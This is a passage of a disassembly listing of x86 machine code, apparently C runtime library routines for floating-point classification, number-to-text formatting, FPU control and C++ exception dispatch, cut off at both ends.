jz short loc_421DBA test esi, esi jnz short loc_421DBA mov esi, ebx loc_421DBA: ; CODE XREF: sub_421BFF+1B3j ; sub_421BFF+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421DC6 or byte ptr [ebp+var_C+3], 80h loc_421DC6: ; CODE XREF: sub_421BFF+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_421DAF loc_421DCC: ; CODE XREF: sub_421BFF+1ACj test edx, edx jz short loc_421DD8 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421DD8: ; CODE XREF: sub_421BFF+183j ; sub_421BFF+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421DE4 ; --------------------------------------------------------------------------- loc_421DE2: ; CODE XREF: sub_421BFF+14Ej mov esi, ebx loc_421DE4: ; CODE XREF: sub_421BFF+1E1j test esi, esi pop esi jz short loc_421DF1 push 10h call sub_4220AC pop ecx loc_421DF1: ; CODE XREF: sub_421BFF+1E8j and edi, 0FFFFFFFDh loc_421DF4: ; CODE XREF: sub_421BFF+26j ; sub_421BFF+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_421E0B test byte ptr [ebp+arg_8], 20h jz short loc_421E0B push 20h call sub_4220AC pop ecx and edi, 0FFFFFFEFh loc_421E0B: ; CODE XREF: sub_421BFF+1F9j ; sub_421BFF+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_421BFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421E16(int,int,int,int,int,int,double,int) sub_421E16 proc near ; CODE XREF: sub_421861+2Bp ; sub_4218B4+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421EC4 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_421E81 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_422089 lea eax, [ebp+var_20] push eax call sub_42482D add esp, 0Ch test eax, eax jnz short loc_421E7B push esi call sub_421E9E pop ecx loc_421E7B: ; CODE XREF: sub_421E16+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_421E81: ; CODE XREF: sub_421E16+14j push 0FFFFh push [ebp+arg_20] call sub_422089 push [ebp+arg_0] call sub_421E9E fld [ebp+arg_18] add esp, 0Ch leave retn sub_421E16 endp ; =============== S U B R O U T I N E ======================================= sub_421E9E proc near ; CODE XREF: sub_4218B4+7Dp ; sub_421E16+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421EB9 jle short locret_421EC3 cmp eax, 3 jg short locret_421EC3 mov dword_4DBDEC, 22h retn ; --------------------------------------------------------------------------- loc_421EB9: ; CODE XREF: sub_421E9E+7j mov dword_4DBDEC, 21h locret_421EC3: ; CODE XREF: sub_421E9E+9j ; sub_421E9E+Ej retn sub_421E9E endp ; =============== S U B R O U T I N E ======================================= sub_421EC4 proc near ; CODE XREF: sub_421E16+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43D318 loc_421ECB: ; CODE XREF: sub_421EC4+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421EE1 add eax, 8 inc ecx cmp eax, offset dbl_43D3F0 jl short loc_421ECB xor eax, eax retn ; --------------------------------------------------------------------------- loc_421EE1: ; CODE XREF: sub_421EC4+Dj mov eax, off_43D31C[ecx*8] retn sub_421EC4 endp ; =============== S U B R O U T I N E ======================================= sub_421EE9 proc near ; CODE XREF: sub_4218B4+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421EF5 push 5 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421EF5: ; CODE XREF: sub_421EE9+6j test al, 8 jz short loc_421EFD push 1 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421EFD: ; CODE XREF: sub_421EE9+Ej test al, 4 jz short loc_421F05 push 2 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421F05: ; CODE XREF: sub_421EE9+16j test al, 1 jz short loc_421F0D push 3 loc_421F0B: ; CODE XREF: sub_421EE9+Aj ; sub_421EE9+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_421F0D: ; CODE XREF: sub_421EE9+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421EE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421F16(double) sub_421F16 proc near ; CODE XREF: sub_41D055:loc_41D0DBp ; sub_41D19B:loc_41D221p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421F16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421F28(double,int) sub_421F28 proc near ; CODE XREF: sub_421FAB+82p ; sub_421FAB+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421F28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F51 proc near ; CODE XREF: sub_41D055+31p ; sub_41D19B+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_421F68 cmp [ebp+arg_0], edx jnz short loc_421F7A push 1 jmp short loc_421FA4 ; --------------------------------------------------------------------------- loc_421F68: ; CODE XREF: sub_421F51+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_421F7A cmp [ebp+arg_0], edx jnz short loc_421F7A push 2 jmp short loc_421FA4 ; --------------------------------------------------------------------------- loc_421F7A: ; CODE XREF: sub_421F51+11j ; sub_421F51+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_421F8D push 3 jmp short loc_421FA4 ; --------------------------------------------------------------------------- loc_421F8D: ; CODE XREF: sub_421F51+36j cmp cx, 7FF0h jnz short loc_421FA7 test [ebp+arg_4], 7FFFFh jnz short loc_421FA2 cmp [ebp+arg_0], edx jz short loc_421FA7 loc_421FA2: ; CODE XREF: sub_421F51+4Aj push 4 loc_421FA4: ; CODE XREF: sub_421F51+15j ; sub_421F51+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421FA7: ; CODE XREF: sub_421F51+41j ; sub_421F51+4Fj xor eax, eax pop ebp retn sub_421F51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421FAB(double,int) sub_421FAB proc near ; CODE XREF: sub_421BFF+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427860 push esi fnstsw ax sahf jnz short loc_421FCB fldz xor esi, esi fstp [ebp+var_8] jmp loc_422061 ; --------------------------------------------------------------------------- loc_421FCB: ; CODE XREF: sub_421FAB+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42203A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421FE3 cmp dword ptr [ebp+arg_0], ecx jz short loc_42203A loc_421FE3: ; CODE XREF: sub_421FAB+31j fld [ebp+arg_0] fcomp dbl_427860 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_421FFB push 1 pop eax jmp short loc_421FFD ; --------------------------------------------------------------------------- loc_421FFB: ; CODE XREF: sub_421FAB+49j xor eax, eax loc_421FFD: ; CODE XREF: sub_421FAB+4Ej ; sub_421FAB+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_422016 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_422010 or dword ptr [ebp+arg_0+4], 1 loc_422010: ; CODE XREF: sub_421FAB+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_421FFD ; --------------------------------------------------------------------------- loc_422016: ; CODE XREF: sub_421FAB+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_422024 or byte ptr [ebp+arg_0+7], 80h loc_422024: ; CODE XREF: sub_421FAB+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421F28 fstp [ebp+var_8] add esp, 0Ch jmp short loc_422061 ; --------------------------------------------------------------------------- loc_42203A: ; CODE XREF: sub_421FAB+28j ; sub_421FAB+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421F28 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_422061: ; CODE XREF: sub_421FAB+1Bj ; sub_421FAB+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_421FAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42206C proc near ; CODE XREF: sub_42194C+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_42206C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42207A proc near ; CODE XREF: sub_42194C+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_42207A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422089 proc near ; CODE XREF: sub_41D055+13p ; sub_41D055+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_422089 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4220AC proc near ; CODE XREF: sub_421BFF+1Dp ; sub_421BFF+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_4220C3 fld tbyte_43D418 fistp [ebp+arg_0] wait loc_4220C3: ; CODE XREF: sub_4220AC+Bj test cl, 8 jz short loc_4220D8 fstsw ax fld tbyte_43D418 fstp [ebp+var_8] wait fstsw ax loc_4220D8: ; CODE XREF: sub_4220AC+1Aj test cl, 10h jz short loc_4220E7 fld tbyte_43D424 fstp [ebp+var_8] wait loc_4220E7: ; CODE XREF: sub_4220AC+2Fj test cl, 4 jz short loc_4220F5 fldz fld1 fdivrp st(1), st fstp st wait loc_4220F5: ; CODE XREF: sub_4220AC+3Ej test cl, 20h jz short locret_422100 fldpi fstp [ebp+var_8] wait locret_422100: ; CODE XREF: sub_4220AC+4Cj leave retn sub_4220AC endp ; =============== S U B R O U T I N E ======================================= sub_422102 proc near ; CODE XREF: sub_41D124+Fp push 30000h push 10000h call sub_424865 pop ecx pop ecx retn sub_422102 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422114 proc near ; CODE XREF: sub_422152:loc_422176j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427870 fstp [ebp+var_8] fld dbl_427868 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_4276F8 fnstsw ax sahf jbe short loc_42214E push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_42214E: ; CODE XREF: sub_422114+33j xor eax, eax leave retn sub_422114 endp ; =============== S U B R O U T I N E ======================================= sub_422152 proc near ; CODE XREF: sub_41D124+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 2680D5Ch test eax, eax jz short loc_422176 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26B0000h test eax, eax jz short loc_422176 push 0 call eax ; sub_41D124 retn ; --------------------------------------------------------------------------- loc_422176: ; CODE XREF: sub_422152+Dj ; sub_422152+1Dj jmp sub_422114 sub_422152 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42217B proc near ; CODE XREF: sub_41FF3F+3CBp ; DATA XREF: sub_41D13C+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41DFEC cmp eax, 65h pop ecx jz short loc_4221BB loc_42218F: ; CODE XREF: sub_42217B+3Ej inc esi cmp dword_43D094, 1 jle short loc_4221A8 movsx eax, byte ptr [esi] push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_4221B7 ; --------------------------------------------------------------------------- loc_4221A8: ; CODE XREF: sub_42217B+1Cj movsx eax, byte ptr [esi] mov ecx, off_43CE88 mov al, [ecx+eax*2] and eax, 4 loc_4221B7: ; CODE XREF: sub_42217B+2Bj test eax, eax jnz short loc_42218F loc_4221BB: ; CODE XREF: sub_42217B+12j mov cl, byte_43D098 mov al, [esi] mov [esi], cl inc esi loc_4221C6: ; CODE XREF: sub_42217B+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_4221C6 pop esi retn sub_42217B endp ; =============== S U B R O U T I N E ======================================= sub_4221D5 proc near ; CODE XREF: sub_41FF3F+3E2p ; DATA XREF: sub_41D13C+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43D098 mov cl, [eax] test cl, cl jz short loc_4221F1 loc_4221E5: ; CODE XREF: sub_4221D5+1Aj cmp cl, dl jz short loc_4221F1 mov cl, [eax+1] inc eax test cl, cl jnz short loc_4221E5 loc_4221F1: ; CODE XREF: sub_4221D5+Ej ; sub_4221D5+12j mov cl, [eax] inc eax test cl, cl jz short locret_422222 loc_4221F8: ; CODE XREF: sub_4221D5+34j mov cl, [eax] test cl, cl jz short loc_42220B cmp cl, 65h jz short loc_42220B cmp cl, 45h jz short loc_42220B inc eax jmp short loc_4221F8 ; --------------------------------------------------------------------------- loc_42220B: ; CODE XREF: sub_4221D5+27j ; sub_4221D5+2Cj ... mov ecx, eax loc_42220D: ; CODE XREF: sub_4221D5+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42220D cmp [eax], dl jnz short loc_422218 dec eax loc_422218: ; CODE XREF: sub_4221D5+40j ; sub_4221D5+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_422218 locret_422222: ; CODE XREF: sub_4221D5+21j retn sub_4221D5 endp ; =============== S U B R O U T I N E ======================================= sub_422223 proc near ; DATA XREF: sub_41D13C+28o ; ___:off_43D440o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427860 fnstsw ax sahf jb short loc_422238 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422238: ; CODE XREF: sub_422223+Fj xor eax, eax retn sub_422223 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42223B proc near ; CODE XREF: sub_420DB0+430p ; DATA XREF: sub_41D13C+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_422264 lea eax, [ebp+var_8] push eax call sub_424D28 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_422264: ; CODE XREF: sub_42223B+Cj lea eax, [ebp+arg_8] push eax call sub_424D55 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42223B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422279 proc near ; CODE XREF: sub_4224F6+17p ; sub_422540+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DBE6C, 0 push ebx push esi jz short loc_4222AE mov ebx, [ebp+arg_8] mov eax, dword_4DBE68 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_422591 pop ecx pop ecx jmp short loc_4222E6 ; --------------------------------------------------------------------------- loc_4222AE: ; CODE XREF: sub_422279+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_424DF9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424D82 add esp, 14h loc_4222E6: ; CODE XREF: sub_422279+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_4222F2 mov byte ptr [eax], 2Dh inc eax loc_4222F2: ; CODE XREF: sub_422279+73j test ebx, ebx jle short loc_42230A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43D098 mov eax, edi pop edi mov [eax], cl loc_42230A: ; CODE XREF: sub_422279+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DBE6C, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41C890 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_422331 mov byte ptr [ecx], 45h loc_422331: ; CODE XREF: sub_422279+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_422376 mov ebx, [esi+4] dec ebx jns short loc_422345 neg ebx mov byte ptr [ecx], 2Dh loc_422345: ; CODE XREF: sub_422279+C5j inc ecx cmp ebx, 64h jl short loc_42235C mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_42235C: ; CODE XREF: sub_422279+D0j inc ecx cmp ebx, 0Ah jl short loc_422373 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_422373: ; CODE XREF: sub_422279+E7j add [ecx+1], bl loc_422376: ; CODE XREF: sub_422279+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_422279 endp ; =============== S U B R O U T I N E ======================================= sub_42237D proc near ; CODE XREF: sub_42251D+13p ; sub_422540+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DBE6C, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_4223B8 mov eax, dword_4DBE70 mov ebx, [esp+10h+arg_8] mov esi, dword_4DBE68 cmp eax, ebx jnz short loc_4223E8 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_4223E8 ; --------------------------------------------------------------------------- loc_4223B8: ; CODE XREF: sub_42237D+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_424DF9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424D82 add esp, 14h loc_4223E8: ; CODE XREF: sub_42237D+22j ; sub_42237D+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_4223F6 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_4223F6: ; CODE XREF: sub_42237D+70j mov eax, [esi+4] test eax, eax jg short loc_42240D push 1 push edi call sub_422591 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_42240F ; --------------------------------------------------------------------------- loc_42240D: ; CODE XREF: sub_42237D+7Ej add edi, eax loc_42240F: ; CODE XREF: sub_42237D+8Ej test ebx, ebx jle short loc_422454 push 1 push edi call sub_422591 mov al, byte_43D098 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_422454 cmp byte_4DBE6C, 0 jz short loc_422439 neg esi jmp short loc_42243F ; --------------------------------------------------------------------------- loc_422439: ; CODE XREF: sub_42237D+B6j neg esi cmp ebx, esi jl short loc_422441 loc_42243F: ; CODE XREF: sub_42237D+BAj mov ebx, esi loc_422441: ; CODE XREF: sub_42237D+C0j push ebx push edi call sub_422591 push ebx push 30h push edi call sub_41BF70 add esp, 14h loc_422454: ; CODE XREF: sub_42237D+94j ; sub_42237D+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_42237D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42245B proc near ; CODE XREF: sub_422540+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_424DF9 mov dword_4DBE68, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DBE70, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424D82 mov eax, dword_4DBE68 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DBE70, ecx setl cl mov byte_4DBE74, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DBE70, eax jl short loc_4224E1 cmp eax, ebx jge short loc_4224E1 test cl, cl jz short loc_4224D2 loc_4224C8: ; CODE XREF: sub_42245B+72j mov al, [esi] inc esi test al, al jnz short loc_4224C8 and [esi-2], al loc_4224D2: ; CODE XREF: sub_42245B+6Bj push ebx push [ebp+arg_4] push edi call sub_42251D add esp, 0Ch jmp short loc_4224F1 ; --------------------------------------------------------------------------- loc_4224E1: ; CODE XREF: sub_42245B+63j ; sub_42245B+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_4224F6 add esp, 10h loc_4224F1: ; CODE XREF: sub_42245B+84j pop edi pop esi pop ebx pop ebp retn sub_42245B endp ; =============== S U B R O U T I N E ======================================= sub_4224F6 proc near ; CODE XREF: sub_42245B+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DBE6C, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_422279 and byte_4DBE6C, 0 add esp, 10h retn sub_4224F6 endp ; =============== S U B R O U T I N E ======================================= sub_42251D proc near ; CODE XREF: sub_42245B+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DBE6C, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_42237D and byte_4DBE6C, 0 add esp, 0Ch retn sub_42251D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422540 proc near ; CODE XREF: sub_41FF3F+3AAp ; DATA XREF: sub_41D13Co ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_42257B cmp [ebp+arg_8], 45h jz short loc_42257B cmp [ebp+arg_8], 66h jnz short loc_422568 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42237D add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_422568: ; CODE XREF: sub_422540+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42245B jmp short loc_42258C ; --------------------------------------------------------------------------- loc_42257B: ; CODE XREF: sub_422540+7j ; sub_422540+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_422279 loc_42258C: ; CODE XREF: sub_422540+39j add esp, 10h pop ebp retn sub_422540 endp ; =============== S U B R O U T I N E ======================================= sub_422591 proc near ; CODE XREF: sub_422279+2Cp ; sub_42237D+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_4225B4 push esi mov esi, [esp+8+arg_0] push esi call sub_41B9C0 inc eax push eax push esi add esi, edi push esi call sub_41D670 add esp, 10h pop esi loc_4225B4: ; CODE XREF: sub_422591+7j pop edi retn sub_422591 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B6 proc near ; CODE XREF: ___:0041D31Cp ; sub_41D385+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_4225CC call sub_422E52 loc_4225CC: ; CODE XREF: sub_4225B6+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_4225F4 cmp dword ptr [esi+4], 0 jz short loc_42264A cmp [ebp+arg_14], 0 jnz short loc_42264A push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_4228FD add esp, 10h jmp short loc_42264A ; --------------------------------------------------------------------------- loc_4225F4: ; CODE XREF: sub_4225B6+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_42264A cmp dword ptr [eax], 0E06D7363h jnz short loc_42262E cmp [eax+14h], edi jbe short loc_42262E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_42262E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_42264D ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_4225B6+4Aj ; sub_4225B6+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_422651 add esp, 20h loc_42264A: ; CODE XREF: sub_4225B6+23j ; sub_4225B6+29j ... push 1 pop eax loc_42264D: ; CODE XREF: sub_4225B6+76j pop edi pop esi pop ebp retn sub_4225B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422651 proc near ; CODE XREF: sub_4225B6+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_422671 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_422676 loc_422671: ; CODE XREF: sub_422651+16j call sub_422E52 loc_422676: ; CODE XREF: sub_422651+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_4227CD cmp dword ptr [esi+10h], 3 jnz short loc_4226EA cmp [esi+14h], edi jnz short loc_4226EA cmp dword ptr [esi+1Ch], 0 jnz short loc_4226EA mov esi, dword_4DBE78 test esi, esi jz loc_4227C8 mov eax, dword_4DBE7C push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424F80 pop ecx test eax, eax pop ecx jnz short loc_4226CC call sub_422E52 loc_4226CC: ; CODE XREF: sub_422651+74j cmp [esi], ebx jnz loc_4227CD cmp dword ptr [esi+10h], 3 jnz short loc_4226EA cmp [esi+14h], edi jnz short loc_4226EA cmp dword ptr [esi+1Ch], 0 jnz short loc_4226EA call sub_422E52 loc_4226EA: ; CODE XREF: sub_422651+41j ; sub_422651+46j ... cmp 